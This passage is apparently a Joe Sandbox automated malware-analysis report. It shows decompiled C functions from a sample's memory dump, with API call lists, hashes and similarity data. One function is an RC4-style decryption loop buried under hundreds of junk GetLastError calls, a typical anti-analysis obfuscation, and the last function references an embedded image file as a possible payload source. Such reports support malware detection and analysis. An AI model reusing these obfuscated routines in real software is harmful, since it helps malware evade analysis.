										return E0114942B(_t97,  *(_t121 - 4) ^ _t121, _t109, _t111, _t116);
									} else {
										E01150C48(_t98, _t110, _t120,  *(_t121 - 0xc),  &(_t98[0x90]), 0x55);
										if(GetLocaleInfoW( *(_t121 - 0xc), 0x1001, _t98, 0x40) == 0 || GetLocaleInfoW( *(_t121 - 8), 0x1002,  &(_t98[0x40]), 0x40) == 0) {
											goto L36;
										} else {
											_push(0xa);
											_push(0x10);
											_push( &(_t98[0x80]));
											_push(_t120);
											E01156EE4();
											goto L35;
										}
									}
								}
							}
							_t82 =  *0x1164a4c; // 0x41
							_t84 = E01154DDE(0x1163cc8, _t82 - 1, _t96);
							_t124 = _t124 + 0xc;
							__eflags = _t84;
							if(_t84 == 0) {
								L23:
								if( *(_t121 - 0x10) == 0) {
									goto L36;
								}
								goto L24;
							}
							_t85 =  *_t110;
							__eflags = _t85;
							if(__eflags == 0) {
								L16:
								_push(_t121 - 0x10);
								E01155179(__eflags);
								L20:
								goto L23;
							}
							__eflags =  *_t85;
							if(__eflags == 0) {
								goto L16;
							}
							E011550FC(__eflags, _t121 - 0x10);
							goto L20;
						}
						__eflags =  *_t79 - _t100;
						if(__eflags == 0) {
							goto L10;
						}
						E011550FC(__eflags, _t121 - 0x10);
						goto L11;
					}
				}
				 *(_t121 - 0x10) =  *(_t121 - 0x10) | 0x00000104;
				goto L22;
			}

APIs

_GetLcidFromLangCountry.LIBCMT ref: 011556DA
_GetLcidFromLangCountry.LIBCMT ref: 0115571B
GetUserDefaultLCID.KERNEL32(?,00000000,?,?,?,0114C87D,?,?,?,?,00000004,?,00000000), ref: 0115574B

Part of subcall function 01150C48: _GetTableIndexFromLcid.LIBCMT ref: 01150C75

IsValidCodePage.KERNEL32(00000000,?,?,0114C87D,?,?,?,?,00000004,?,00000000), ref: 0115579F
IsValidLocale.KERNEL32(01165310,00000001,?,?,0114C87D,?,?,?,?,00000004,?,00000000), ref: 011557B2
GetLocaleInfoW.KERNEL32(01165310,00001001,?,00000040,?,?,?,?,?,?,?,?,?,?,?,0114C87D), ref: 01155805
GetLocaleInfoW.KERNEL32(00000000,00001002,?,00000040,?,?,?,?,?,?,?,?,?,?,?,0114C87D), ref: 0115581C

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: FromLcidLocale$CountryInfoLangValid$CodeDefaultIndexPageTableUser
String ID:
API String ID: 3567555374-0
Opcode ID: dc91e8a5da4f2f48e6ba8fd8df5a3cd1fcd180a54e8faa65c7969c1cf12ecf90
Instruction ID: 71dca60b124b70643b153c09583e9aa3435114e7ce93e1b0a33344d1b702a7ec
Opcode Fuzzy Hash: dc91e8a5da4f2f48e6ba8fd8df5a3cd1fcd180a54e8faa65c7969c1cf12ecf90
Instruction Fuzzy Hash: E151C37190021ADFEB98EBA8DC84ABE7BB9FF14304F450465EE25EB150E7709544CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0115551B, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0115551B() {
				short _t13;
				short _t28;
				void* _t31;
				void* _t32;

				_t31 = _t32;
				_t28 =  *(_t31 + 8);
				if(_t28 == 0 ||  *_t28 == 0 || E01149453(_t28, ?str?) == 0) {
					_t8 =  *((intOrPtr*)(_t31 + 0xc)) + 8; // 0x1166aec
					if(GetLocaleInfoW( *_t8, 0x20001004, _t31 + 8, 2) != 0) {
						_t13 =  *(_t31 + 8);
						if(_t13 == 0) {
							return GetACP();
						}
					} else {
						goto L9;
					}
				} else {
					if(E01149453(_t28, ?str?) != 0) {
						_t13 = E01157000(_t28);
					} else {
						_t4 =  *((intOrPtr*)(_t31 + 0xc)) + 8; // 0x1166aec
						if(GetLocaleInfoW( *_t4, 0x2000000b, _t31 + 8, 2) == 0) {
							L9:
							_t13 = 0;
						} else {
							_t13 =  *(_t31 + 8);
						}
					}
				}
				return _t13;
			}

APIs

GetLocaleInfoW.KERNEL32(01166AEC,2000000B,00000000,00000002,00000000,?,01155777,00000000,00000000,?,?,0114C87D,?,?,?), ref: 0115555F
GetLocaleInfoW.KERNEL32(01166AEC,20001004,00000000,00000002,00000000,?,01155777,00000000,00000000,?,?,0114C87D,?,?,?), ref: 01155589

Strings

OCP, xrefs: 0115553D
ACP, xrefs: 0115552C

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 3004e0a0eec49c92bb5e87cf33d8c8739ed424bcd469b6d8ba850dfe68ffeedb
Instruction ID: e2524938e79be73ed2ce6b4fc2fcde67d6a1395a967b5cb24141de8a6e6d1dbc
Opcode Fuzzy Hash: 3004e0a0eec49c92bb5e87cf33d8c8739ed424bcd469b6d8ba850dfe68ffeedb
Instruction Fuzzy Hash: DA01B931220106FBEB9D9A58EC45FDA3BEBAF056ADB048015FA25D6040D731D680C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 011443D4, Relevance: 405.4, APIs: 324, Instructions: 389
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011443D4() {
				signed int _t52;
				void* _t433;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t433 - 0x14)) =  *((intOrPtr*)(_t433 - 0x14)) + 1;
					L1:
					if( *((intOrPtr*)(_t433 - 0x14)) <  *((intOrPtr*)(_t433 + 0xc))) {
						L2:
						 *(_t433 - 8) = ( *(_t433 - 8) + 1) %  *0x1169004;
						 *(_t433 - 0x10) = (( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) & 0x000000ff) +  *(_t433 - 0x10)) %  *0x1169004;
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						 *((char*)(_t433 - 1)) = ( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 0x10)) & 0x000000ff) +  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						 *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 0x10)) = ( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) & 0x000000ff) +  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						 *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) =  *((intOrPtr*)(_t433 - 1));
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						GetLastError();
						 *((intOrPtr*)(_t433 - 0x1c)) = (( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 8)) & 0x000000ff) + ( *( *((intOrPtr*)(_t433 - 0xc)) +  *(_t433 - 0x10)) & 0x000000ff)) %  *0x1169004 +  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						_t52 =  *(_t433 + 0x1c) *  *(_t433 + 0x1c);
						 *((char*)( *((intOrPtr*)(_t433 + 0x18)) +  *((intOrPtr*)(_t433 - 0x14)))) =  *( *((intOrPtr*)(_t433 + 8)) +  *((intOrPtr*)(_t433 - 0x14))) & 0x000000ff ^ ( *( *((intOrPtr*)(_t433 - 0xc)) +  *((intOrPtr*)(_t433 - 0x1c))) & 0x000000ff) + _t52;
						continue;
					}
					L3:
					return _t52;
					L4:
				}
			}

APIs

GetLastError.KERNEL32 ref: 01144411
GetLastError.KERNEL32 ref: 01144417
GetLastError.KERNEL32 ref: 0114441D
GetLastError.KERNEL32 ref: 01144423
GetLastError.KERNEL32 ref: 01144429
GetLastError.KERNEL32 ref: 0114442F
GetLastError.KERNEL32 ref: 01144435
GetLastError.KERNEL32 ref: 0114443B
GetLastError.KERNEL32 ref: 01144441
GetLastError.KERNEL32 ref: 01144447
GetLastError.KERNEL32 ref: 0114444D
GetLastError.KERNEL32 ref: 01144453
GetLastError.KERNEL32 ref: 01144459
GetLastError.KERNEL32 ref: 0114445F
GetLastError.KERNEL32 ref: 01144465
GetLastError.KERNEL32 ref: 0114446B
GetLastError.KERNEL32 ref: 01144471
GetLastError.KERNEL32 ref: 01144477
GetLastError.KERNEL32 ref: 0114447D
GetLastError.KERNEL32 ref: 01144483
GetLastError.KERNEL32 ref: 01144489
GetLastError.KERNEL32 ref: 0114448F
GetLastError.KERNEL32 ref: 01144495
GetLastError.KERNEL32 ref: 0114449B
GetLastError.KERNEL32 ref: 011444A1
GetLastError.KERNEL32 ref: 011444A7
GetLastError.KERNEL32 ref: 011444AD
GetLastError.KERNEL32 ref: 011444B3
GetLastError.KERNEL32 ref: 011444B9
GetLastError.KERNEL32 ref: 011444BF
GetLastError.KERNEL32 ref: 011444C5
GetLastError.KERNEL32 ref: 011444CB
GetLastError.KERNEL32 ref: 011444D1
GetLastError.KERNEL32 ref: 011444D7
GetLastError.KERNEL32 ref: 011444DD
GetLastError.KERNEL32 ref: 011444E3
GetLastError.KERNEL32 ref: 011444E9
GetLastError.KERNEL32 ref: 011444EF
GetLastError.KERNEL32 ref: 011444F5
GetLastError.KERNEL32 ref: 011444FB
GetLastError.KERNEL32 ref: 01144501
GetLastError.KERNEL32 ref: 01144507
GetLastError.KERNEL32 ref: 0114450D
GetLastError.KERNEL32 ref: 01144513
GetLastError.KERNEL32 ref: 01144519
GetLastError.KERNEL32 ref: 0114451F
GetLastError.KERNEL32 ref: 01144525
GetLastError.KERNEL32 ref: 0114452B
GetLastError.KERNEL32 ref: 01144531
GetLastError.KERNEL32 ref: 01144537
GetLastError.KERNEL32 ref: 0114453D
GetLastError.KERNEL32 ref: 01144543
GetLastError.KERNEL32 ref: 01144549
GetLastError.KERNEL32 ref: 0114454F
GetLastError.KERNEL32 ref: 01144555
GetLastError.KERNEL32 ref: 0114455B
GetLastError.KERNEL32 ref: 01144561
GetLastError.KERNEL32 ref: 01144567
GetLastError.KERNEL32 ref: 0114456D
GetLastError.KERNEL32 ref: 01144573
GetLastError.KERNEL32 ref: 01144579
GetLastError.KERNEL32 ref: 0114457F
GetLastError.KERNEL32 ref: 01144585
GetLastError.KERNEL32 ref: 0114458B
GetLastError.KERNEL32 ref: 01144591
GetLastError.KERNEL32 ref: 01144597
GetLastError.KERNEL32 ref: 0114459D
GetLastError.KERNEL32 ref: 011445A3
GetLastError.KERNEL32 ref: 011445A9
GetLastError.KERNEL32 ref: 011445AF
GetLastError.KERNEL32 ref: 011445B5
GetLastError.KERNEL32 ref: 011445BB
GetLastError.KERNEL32 ref: 011445C1
GetLastError.KERNEL32 ref: 011445C7
GetLastError.KERNEL32 ref: 011445CD
GetLastError.KERNEL32 ref: 011445D3
GetLastError.KERNEL32 ref: 011445D9
GetLastError.KERNEL32 ref: 011445DF
GetLastError.KERNEL32 ref: 011445E5
GetLastError.KERNEL32 ref: 011445EB
GetLastError.KERNEL32 ref: 011445F1
GetLastError.KERNEL32 ref: 011445F7
GetLastError.KERNEL32 ref: 011445FD
GetLastError.KERNEL32 ref: 01144603
GetLastError.KERNEL32 ref: 01144609
GetLastError.KERNEL32 ref: 0114460F
GetLastError.KERNEL32 ref: 01144615
GetLastError.KERNEL32 ref: 0114461B
GetLastError.KERNEL32 ref: 01144621
GetLastError.KERNEL32 ref: 01144627
GetLastError.KERNEL32 ref: 0114462D
GetLastError.KERNEL32 ref: 01144633
GetLastError.KERNEL32 ref: 01144639
GetLastError.KERNEL32 ref: 0114463F
GetLastError.KERNEL32 ref: 01144645
GetLastError.KERNEL32 ref: 0114464B
GetLastError.KERNEL32 ref: 01144651
GetLastError.KERNEL32 ref: 01144657
GetLastError.KERNEL32 ref: 0114465D
GetLastError.KERNEL32 ref: 01144663
GetLastError.KERNEL32 ref: 01144669
GetLastError.KERNEL32 ref: 0114466F
GetLastError.KERNEL32 ref: 01144675
GetLastError.KERNEL32 ref: 0114467B
GetLastError.KERNEL32 ref: 01144681
GetLastError.KERNEL32 ref: 01144687
GetLastError.KERNEL32 ref: 0114468D
GetLastError.KERNEL32 ref: 01144693
GetLastError.KERNEL32 ref: 01144699
GetLastError.KERNEL32 ref: 0114469F
GetLastError.KERNEL32 ref: 011446A5
GetLastError.KERNEL32 ref: 011446AB
GetLastError.KERNEL32 ref: 011446B1
GetLastError.KERNEL32 ref: 011446B7
GetLastError.KERNEL32 ref: 011446BD
GetLastError.KERNEL32 ref: 011446C3
GetLastError.KERNEL32 ref: 011446C9
GetLastError.KERNEL32 ref: 011446CF
GetLastError.KERNEL32 ref: 011446D5
GetLastError.KERNEL32 ref: 011446DB
GetLastError.KERNEL32 ref: 011446E1
GetLastError.KERNEL32 ref: 011446E7
GetLastError.KERNEL32 ref: 011446ED
GetLastError.KERNEL32 ref: 011446F3
GetLastError.KERNEL32 ref: 011446F9
GetLastError.KERNEL32 ref: 011446FF
GetLastError.KERNEL32 ref: 01144705
GetLastError.KERNEL32 ref: 0114470B
GetLastError.KERNEL32 ref: 01144711
GetLastError.KERNEL32 ref: 01144717
GetLastError.KERNEL32 ref: 0114471D
GetLastError.KERNEL32 ref: 01144723
GetLastError.KERNEL32 ref: 01144729
GetLastError.KERNEL32 ref: 0114472F
GetLastError.KERNEL32 ref: 01144735
GetLastError.KERNEL32 ref: 0114473B
GetLastError.KERNEL32 ref: 01144741
GetLastError.KERNEL32 ref: 01144747
GetLastError.KERNEL32 ref: 0114474D
GetLastError.KERNEL32 ref: 01144753
GetLastError.KERNEL32 ref: 01144759
GetLastError.KERNEL32 ref: 0114475F
GetLastError.KERNEL32 ref: 01144765
GetLastError.KERNEL32 ref: 0114476B
GetLastError.KERNEL32 ref: 01144771
GetLastError.KERNEL32 ref: 01144777
GetLastError.KERNEL32 ref: 0114477D
GetLastError.KERNEL32 ref: 01144783
GetLastError.KERNEL32 ref: 01144789
GetLastError.KERNEL32 ref: 0114478F
GetLastError.KERNEL32 ref: 01144795
GetLastError.KERNEL32 ref: 0114479B
GetLastError.KERNEL32 ref: 011447A1
GetLastError.KERNEL32 ref: 011447A7
GetLastError.KERNEL32 ref: 011447AD
GetLastError.KERNEL32 ref: 011447B3
GetLastError.KERNEL32 ref: 011447B9
GetLastError.KERNEL32 ref: 011447BF
GetLastError.KERNEL32 ref: 011447C5
GetLastError.KERNEL32 ref: 011447CB
GetLastError.KERNEL32 ref: 011447D1
GetLastError.KERNEL32 ref: 011447D7
GetLastError.KERNEL32 ref: 011447DD
GetLastError.KERNEL32 ref: 011447E3
GetLastError.KERNEL32 ref: 011447E9
GetLastError.KERNEL32 ref: 01144829
GetLastError.KERNEL32 ref: 0114482F
GetLastError.KERNEL32 ref: 01144835
GetLastError.KERNEL32 ref: 0114483B
GetLastError.KERNEL32 ref: 01144841
GetLastError.KERNEL32 ref: 01144847
GetLastError.KERNEL32 ref: 0114484D
GetLastError.KERNEL32 ref: 01144853
GetLastError.KERNEL32 ref: 01144859
GetLastError.KERNEL32 ref: 0114485F
GetLastError.KERNEL32 ref: 01144865
GetLastError.KERNEL32 ref: 0114486B
GetLastError.KERNEL32 ref: 01144871
GetLastError.KERNEL32 ref: 01144877
GetLastError.KERNEL32 ref: 0114487D
GetLastError.KERNEL32 ref: 01144883
GetLastError.KERNEL32 ref: 01144889
GetLastError.KERNEL32 ref: 0114488F
GetLastError.KERNEL32 ref: 01144895
GetLastError.KERNEL32 ref: 0114489B
GetLastError.KERNEL32 ref: 011448A1
GetLastError.KERNEL32 ref: 011448A7
GetLastError.KERNEL32 ref: 011448AD
GetLastError.KERNEL32 ref: 011448B3
GetLastError.KERNEL32 ref: 011448B9
GetLastError.KERNEL32 ref: 011448BF
GetLastError.KERNEL32 ref: 011448C5
GetLastError.KERNEL32 ref: 011448CB
GetLastError.KERNEL32 ref: 011448D1
GetLastError.KERNEL32 ref: 011448D7
GetLastError.KERNEL32 ref: 011448DD
GetLastError.KERNEL32 ref: 011448E3
GetLastError.KERNEL32 ref: 011448E9
GetLastError.KERNEL32 ref: 011448EF
GetLastError.KERNEL32 ref: 011448F5
GetLastError.KERNEL32 ref: 011448FB
GetLastError.KERNEL32 ref: 01144901
GetLastError.KERNEL32 ref: 01144907
GetLastError.KERNEL32 ref: 0114490D
GetLastError.KERNEL32 ref: 01144913
GetLastError.KERNEL32 ref: 01144919
GetLastError.KERNEL32 ref: 0114491F
GetLastError.KERNEL32 ref: 01144925
GetLastError.KERNEL32 ref: 0114492B
GetLastError.KERNEL32 ref: 01144931
GetLastError.KERNEL32 ref: 01144937
GetLastError.KERNEL32 ref: 0114493D
GetLastError.KERNEL32 ref: 01144943
GetLastError.KERNEL32 ref: 01144949
GetLastError.KERNEL32 ref: 0114494F
GetLastError.KERNEL32 ref: 01144955
GetLastError.KERNEL32 ref: 0114495B
GetLastError.KERNEL32 ref: 01144961
GetLastError.KERNEL32 ref: 01144967
GetLastError.KERNEL32 ref: 0114496D
GetLastError.KERNEL32 ref: 01144973
GetLastError.KERNEL32 ref: 01144979
GetLastError.KERNEL32 ref: 0114497F
GetLastError.KERNEL32 ref: 01144985
GetLastError.KERNEL32 ref: 0114498B
GetLastError.KERNEL32 ref: 01144991
GetLastError.KERNEL32 ref: 01144997
GetLastError.KERNEL32 ref: 0114499D
GetLastError.KERNEL32 ref: 011449A3
GetLastError.KERNEL32 ref: 011449A9
GetLastError.KERNEL32 ref: 011449AF
GetLastError.KERNEL32 ref: 011449B5
GetLastError.KERNEL32 ref: 011449BB
GetLastError.KERNEL32 ref: 011449C1
GetLastError.KERNEL32 ref: 011449C7
GetLastError.KERNEL32 ref: 011449CD
GetLastError.KERNEL32 ref: 011449D3
GetLastError.KERNEL32 ref: 011449D9
GetLastError.KERNEL32 ref: 011449DF
GetLastError.KERNEL32 ref: 011449E5
GetLastError.KERNEL32 ref: 011449EB
GetLastError.KERNEL32 ref: 011449F1
GetLastError.KERNEL32 ref: 011449F7
GetLastError.KERNEL32 ref: 011449FD
GetLastError.KERNEL32 ref: 01144A03
GetLastError.KERNEL32 ref: 01144A09
GetLastError.KERNEL32 ref: 01144A0F
GetLastError.KERNEL32 ref: 01144A15
GetLastError.KERNEL32 ref: 01144A1B
GetLastError.KERNEL32 ref: 01144A21
GetLastError.KERNEL32 ref: 01144A27
GetLastError.KERNEL32 ref: 01144A2D
GetLastError.KERNEL32 ref: 01144A33
GetLastError.KERNEL32 ref: 01144A39
GetLastError.KERNEL32 ref: 01144A3F
GetLastError.KERNEL32 ref: 01144A45
GetLastError.KERNEL32 ref: 01144A4B
GetLastError.KERNEL32 ref: 01144A51
GetLastError.KERNEL32 ref: 01144A57
GetLastError.KERNEL32 ref: 01144A5D
GetLastError.KERNEL32 ref: 01144A63
GetLastError.KERNEL32 ref: 01144A69
GetLastError.KERNEL32 ref: 01144A6F
GetLastError.KERNEL32 ref: 01144A75
GetLastError.KERNEL32 ref: 01144A7B
GetLastError.KERNEL32 ref: 01144A81
GetLastError.KERNEL32 ref: 01144A87
GetLastError.KERNEL32 ref: 01144A8D
GetLastError.KERNEL32 ref: 01144A93
GetLastError.KERNEL32 ref: 01144A99
GetLastError.KERNEL32 ref: 01144A9F
GetLastError.KERNEL32 ref: 01144AA5
GetLastError.KERNEL32 ref: 01144AAB
GetLastError.KERNEL32 ref: 01144AB1
GetLastError.KERNEL32 ref: 01144AB7
GetLastError.KERNEL32 ref: 01144ABD
GetLastError.KERNEL32 ref: 01144AC3
GetLastError.KERNEL32 ref: 01144AC9
GetLastError.KERNEL32 ref: 01144ACF
GetLastError.KERNEL32 ref: 01144AD5
GetLastError.KERNEL32 ref: 01144ADB
GetLastError.KERNEL32 ref: 01144AE1
GetLastError.KERNEL32 ref: 01144AE7
GetLastError.KERNEL32 ref: 01144AED
GetLastError.KERNEL32 ref: 01144AF3
GetLastError.KERNEL32 ref: 01144AF9
GetLastError.KERNEL32 ref: 01144AFF
GetLastError.KERNEL32 ref: 01144B05
GetLastError.KERNEL32 ref: 01144B0B
GetLastError.KERNEL32 ref: 01144B11
GetLastError.KERNEL32 ref: 01144B17
GetLastError.KERNEL32 ref: 01144B1D
GetLastError.KERNEL32 ref: 01144B23
GetLastError.KERNEL32 ref: 01144B29
GetLastError.KERNEL32 ref: 01144B2F
GetLastError.KERNEL32 ref: 01144B35
GetLastError.KERNEL32 ref: 01144B3B
GetLastError.KERNEL32 ref: 01144B41
GetLastError.KERNEL32 ref: 01144B47
GetLastError.KERNEL32 ref: 01144B4D
GetLastError.KERNEL32 ref: 01144B53
GetLastError.KERNEL32 ref: 01144B59
GetLastError.KERNEL32 ref: 01144B5F
GetLastError.KERNEL32 ref: 01144B65
GetLastError.KERNEL32 ref: 01144B6B
GetLastError.KERNEL32 ref: 01144B71
GetLastError.KERNEL32 ref: 01144B77
GetLastError.KERNEL32 ref: 01144B7D
GetLastError.KERNEL32 ref: 01144B83
GetLastError.KERNEL32 ref: 01144B89
GetLastError.KERNEL32 ref: 01144B8F
GetLastError.KERNEL32 ref: 01144B95
GetLastError.KERNEL32 ref: 01144B9B
GetLastError.KERNEL32 ref: 01144BA1
GetLastError.KERNEL32 ref: 01144BA7
GetLastError.KERNEL32 ref: 01144BAD
GetLastError.KERNEL32 ref: 01144BB3
GetLastError.KERNEL32 ref: 01144BB9
GetLastError.KERNEL32 ref: 01144BBF
GetLastError.KERNEL32 ref: 01144BC5
GetLastError.KERNEL32 ref: 01144BCB
GetLastError.KERNEL32 ref: 01144BD1
GetLastError.KERNEL32 ref: 01144BD7
GetLastError.KERNEL32 ref: 01144BDD

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 53c8504606898541b158163339e030cfd5508614c816ce3d5cc7ca3574442c5d
Instruction ID: 646b01d03a0b2822e8a98dec81ce72aa32c9a830e2fcc6aeb1fb95ba79049fa0
Opcode Fuzzy Hash: 53c8504606898541b158163339e030cfd5508614c816ce3d5cc7ca3574442c5d
Instruction Fuzzy Hash: 64311074D0415ADFCF09CF68C490AADBBB2FF95208F18C099D861A7356C734A666CF14

Uniqueness

Uniqueness Score: -1.00%

Function 01141850, Relevance: 49.3, APIs: 22, Strings: 6, Instructions: 345
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E01141850(void* __ebx, void* __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				signed int _t130;
				int _t138;
				int _t140;
				void* _t146;
				struct HDC__* _t152;
				int _t158;
				int _t161;
				int _t166;
				int _t169;
				int _t172;
				int _t181;
				int _t184;
				int _t186;
				int _t187;
				int _t192;
				int _t195;
				int _t197;
				void* _t200;
				void* _t201;
				signed int _t203;
				void* _t224;
				void* _t225;
				void* _t227;
				void* _t228;
				signed int _t229;
				void* _t230;
				void* _t234;
				void* _t240;

				_t201 = __ecx;
				_t200 = __ebx;
				_t229 = _t230;
				_t130 =  *0x1169060; // 0xce125272
				 *(_t229 - 4) = _t130 ^ _t229;
				 *(_t229 - 0x318) = 0;
				 *(_t229 - 0x314) = 0;
				 *(_t229 - 0x310) = 0;
				E01149280(_t229 - 0x30c, 0, 0x204);
				 *(_t229 - 0x31c) = 0;
				 *(_t229 - 0x324) = 0;
				 *(_t229 - 0x350) = 0;
				 *(_t229 - 0x320) = 0;
				 *(_t229 - 0x35c) = 0;
				 *(_t229 - 0x344) = 0;
				 *(_t229 - 0x34c) = 0;
				 *(_t229 - 0x340) = 0;
				 *(_t229 - 0x354) = 0;
				_push(_t201);
				_t203 = 0xa;
				_t227 = "/Documents/1/Resources/Images/image1.jpg";
